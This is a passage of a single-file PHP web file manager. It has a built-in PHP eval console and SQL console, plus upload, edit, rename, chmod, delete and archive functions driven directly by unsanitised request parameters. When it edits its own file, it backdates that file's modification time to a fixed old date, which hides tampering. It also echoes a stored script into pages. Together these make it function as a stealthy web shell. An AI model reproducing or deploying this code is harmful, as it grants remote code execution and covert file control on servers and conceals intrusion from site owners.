    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
